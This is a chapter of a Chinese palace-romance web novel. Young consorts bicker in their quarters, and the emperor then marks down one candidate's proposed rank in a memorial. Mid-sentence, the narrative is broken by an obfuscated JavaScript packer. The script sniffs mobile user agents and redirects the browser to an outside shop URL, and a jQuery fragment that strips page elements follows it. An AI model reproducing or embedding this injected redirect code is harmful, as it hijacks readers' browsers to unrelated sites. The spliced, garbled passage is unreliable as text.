这韩淑女的嫡亲姐姐，正是去年礼聘入宫的贵女之一，如今在宫里也算有头有脸的人物。 有贵嫔姐姐在上头照应，韩淑女行事说话才敢如此没个顾忌。 只是方妙意看在眼里，心中却另有一番掂量。 韩家也是仕宦名门，怎地把两个嫡出小姐，一股脑儿全送进宫里来？ 若说图的是互相照应，可这回分派淑女们学规矩，淳贵嫔位下明明也带着人，怎地就没把自家亲妹妹揽到身边？ 内务府嘴上说分派去处全凭抓阄，可这话也就是哄哄傻子。只要肯出力，总有腾挪运作的门道。 韩淑女被戳中痛脚，登时柳眉倒竖，指尖几乎要点到杨幼薇鼻子上去： “我问你了吗？要你在这儿充什么伶俐人？递什么话把子？真是显着你了！” 眼见两人要吵起来，一道清泠泠的声音忽然插进来： “机缘二字，最是难料。” 苏淑女姿容清秀，灯下看人，眉眼间透着股柔和，不骄不躁的，叫人惬意。 “今日之事沾着血腥，韩妹妹没撞上，那是上苍垂怜，不愿叫您受这番惊吓。” 她彻底掩起手中诗册，温声劝和：“夜深了，明日还有正经大事，姐妹们都早些安置罢。到时乌着眼圈去领旨，也不合宜。” 韩淑女虽然还是不痛快，但到底不敢和苏淑女呛声。她悻悻地把扇子往榻上一扔，趿拉着绣鞋下地，装模作样地吆喝品儿： “去，把这水给倒了，换盆凉的来，热死了。” 说完，她也跟着去外头捣腾，省得留在屋里，又觉自己丢面子。 方妙意偏过头，目光越过案上烛灯，落去苏淑女那边。只见她也要歇下了，婢女正忙着铺被褥，雨过天青色的绸面儿，在灯下泛着柔柔的光。 “听闻您老家是秀州的，”趁着屋里安静，方妙意主动搭了句话，“来京城还住得惯么？” 苏蕴好闻声，抬首看过来。 方才听她们拌嘴，苏蕴好已经弄明白了，眼前之人正是修国公府的姑娘。这位方小姐脸盘儿小，五官却生得明艳大方。夜里卸了钗环，披散着青丝，倒显出几分娇憨可亲来。 苏蕴好抿嘴一笑：“都惯呢，劳您挂心。” 果然是从江南水乡来的闺秀，人家一张口，就不像她们似的呛得慌。 方妙意喜欢听她说话，索性侧身卧着，脸蛋儿枕在臂弯里，与她轻声交谈： “京里的姑奶奶们，大多是家里娇惯大的，脾气是直了些，嘴上也爱不饶人，但未必就是多坏的心眼……” “我们说话儿啰嗦，还掺着土词儿，您都能听得明白么？” “京里的官话都好懂，若是遇上不懂的，猜一猜也能听出个大概。” 苏蕴好把夏凉被往上拉了拉，遮住半张脸，只露出一双弯成月牙儿的眼睛： “倒是我们那里的方言，才真是叫外乡人听天书呢。” 方妙意也跟着笑了，眉眼舒展开来： “方才那些话，您别往心里去。韩淑女是专门排揎我来着，不是拐弯抹角地挤兑您。” 说着，方妙意朝帘子外头努努嘴，无奈道： “就没长那个指桑骂槐的脑子。” “扑哧——” 这话一出，满屋子的人都憋不住发笑，双肩耸动个没完。 韩淑女从外头掀帘子进来，正赶上屋里一片压着的笑声。 趁她不在，这起子人倒是姐姐妹妹地亲热起来了？敢情她在这屋里就碍眼呗！ 韩淑女顿时驴脸瓜搭的，坐在榻边也不叫品儿伺候，只把三蓝花鞋胡乱往地上一踢。猛地翻身朝里，留下个气哼哼的背影。 品儿吓得赶忙放下纱帐，又悄悄把小姐的鞋子捡回来，整齐地摆在脚踏上，方便明早起来穿。 - 戌正时分，乾元宫里照旧掌着灯。院中那座自鸣钟的鹰喙倏然探出来，发出八声清越短促的鸣叫。 御前总管宝瑞刚换了身干爽的袍子，从值房里钻出来，立在廊檐下抬头望天。 一轮皓月悬在中天，清辉洒满宫苑，却闷热得没有一丝儿风。宝瑞抬手擦了擦额头沁出的汗，不禁叹了口气。 “干爹，您怎么在这儿站着？” 小太监堆笑凑过来，正是宝瑞新认的干儿子邓善。 “万岁爷那边有奴才们轮流守着，您老要不回屋里歪会儿？左右殿上还有儿子呢。”小善子哈着腰，殷勤地要扶宝瑞往旁边耳房走。 宝瑞睨了他一眼，没吭声，只伸过手。小善子会意，赶忙奉上干爹的鎏金柄麈尾。 宝瑞接来轻轻一甩，搭在自个儿臂弯里。他正了正腰间蟒带，这才慢悠悠开口： “今晚有正经事儿，非得咱家亲自过去伺候不可。” 守门的小太监远远见大总管过来，麻利地打起竹帘子。 宝瑞顺着斜开的缝儿钻进去，腰背立马就弯下来。 方才在外头那股子拿大劲儿全没了，又把小善子谄媚的笑容，原封不动地挪到自个儿脸上。 殿内灯火通明，金砖墁地，映得人影儿幢幢。 皇帝正坐在紫檀木大案后头，手里捏着本折子，眉心微蹙，显然也是乏了。 宝瑞踮起脚尖儿溜上前，掐着嗓子唤了声： “万岁爷？” 见皇帝侧眼看过来，他这才从袖管里掏出一本明黄绫子面的奏本来，双手高高托过头顶，毕恭毕敬地呈上去。 “启禀万岁爷，这是内务府给新晋秀女们拟定的位份与住处，先前递给皇后娘娘瞧了，宁寿宫里几位老主子也都掌过眼，这才特地呈来请您过目。” 因为嘉熙爷是禅位，前朝的嫔妃们，自然还不能上太妃、太嫔的尊衔儿。 为了和新帝后宫区隔开来，前头便要加上“太上皇”仨字儿，譬如在静颐园伴驾的许贵妃，如今都称“太上皇贵妃”。 但这名号念起来忒绕口，若是连着念几个，舌头都能打结。私底下大伙儿图省事，都唤作“老娘娘”或是“老主子”，一听便知道是伺候太上皇的那拨人了。 陆观廷抬手捏了捏有些发胀的山根，这才接过折子，展开来看。 宝瑞垂手侍立在下头，眼观鼻，鼻观心，自个儿也在悄悄琢磨。 按往常采选的惯例，秀女初封，能得个“美人”已是顶天了，这回却破天荒拟出两个嫔位来。 兴许是因为后宫空虚， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005808|193685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主位娘娘寥寥无几，再加上苏小姐和方小姐的出身，委实太出挑了些。若是赶上先前礼聘那拨进宫，如今指定都是三品往上的娘娘。 如此想来，给个嫔位，也不算多高抬了。 正当这时，陆观廷忽然轻笑一声，随手把折子撂回案上。 他笑不打紧，可把宝瑞给惊得够呛。 素来不苟言笑的万岁爷，居然被一道拟封折子给哄乐呵了？ 难不成选秀女还有这番奇效？ 早知如此，当初就该听顺妃老娘娘的劝，赶紧把这事儿给办妥了，万岁爷也不至于成日冷着脸子！ “倒是有不少熟人。” 陆观廷不紧不慢地说了一句，意味不明。 宝瑞脑瓜最灵光，立刻顺着话头，陪皇帝谈天解闷儿： “可不是么？万岁爷英明！” “打头这位苏淑女，是秀州苏阁老家的六姑娘，论起来应当是您的舅家表妹呢。” 见皇帝没恼，宝瑞胆子便大了些，接着凑趣儿说： “……后头那位韩淑女，还是淳贵嫔的同母妹妹。嘿哟，您说说，这可真是赶巧了。” 他一面说，一面小心观察着皇帝神色。只见万岁爷听完，脸上并无什么波澜，反倒又重新提起朱笔。 笔尖饱蘸了朱砂，红艳艳的，悬在折子上方，似乎要往往某个淑女的名儿上落。 宝瑞心里顿时“哎哟喂”地叫唤起来，了不得！这真是了不得！ 万岁爷竟是有自己的主意，要知道，怹老人家什么时候对后宫之事上过心？ 往常甭管谁上的请封折子，万岁爷那是连看都懒得看，大笔一挥便准了的。 眼见御笔朝着名录前头挪过去，宝瑞料想，肯定是苏淑女没跑了！ 毕竟是亲表妹，这情分非同一般，怕是要格外恩赏个封号什么的。 哪知笔尖竟在半道顿住，直直摁了下去，把方淑女下头的“嫔”字给抹了。 方淑女？修国公府的那位？ 宝瑞使劲眨巴两下，生怕是自己老眼昏花瞧岔了。 结果皇帝压根儿没停顿，手腕微转，又在旁边行云流水地改了个“才人”。 宝瑞眼睁睁地看着，惊得下巴都快掉去地上，末后才恍然大悟，自个儿还是想浅了。 这哪里是千年铁树开花，分明是铁树上长了刺儿啊！ 但就算万岁爷觉着，刚进宫就封嫔位，有些不妥帖。那改封个美人，也还说得过去。 直接降成才人，可是足足两个品级哇！ 这一笔下去，简直是把人家姑娘从高高的凤头上，一下子给撸到中不溜儿的半山腰，这得是多大仇、多大怨？ “明儿一早，便按这个拿去宣了罢。” 除了对方妙意这“格外关照”的一笔，名录上其余人等，再未分得皇帝半个眼神。 陆观廷把折子一合，扔回给宝瑞，摆手打发他下去。 “是，奴才遵旨。” 宝瑞压下满腹惊疑，双手托着那本被朱批改定的折子，一步步倒退着出了书房。 直至退到门槛前，宝瑞这才背过身，从帘子后头钻出来，心里又开始瞎捉摸。 好端端的，这方小姐究竟是哪儿招万岁爷记恨了？ 想当初在夺嫡的裉节儿上，修国公府的确是揣手站干岸儿，没怎么出力，难道皇上是不满方家坐享其成？ 真真儿是成也出身，败也出身哪…… 宝瑞摇摇脑袋，感叹圣心似海，果然不是他们这些奴才能轻易揣度的。 可先甭提别的，光是能叫皇帝记住，就已经胜过宫中许多人了。方才人往后的日子什么样，还谁也说不准呢！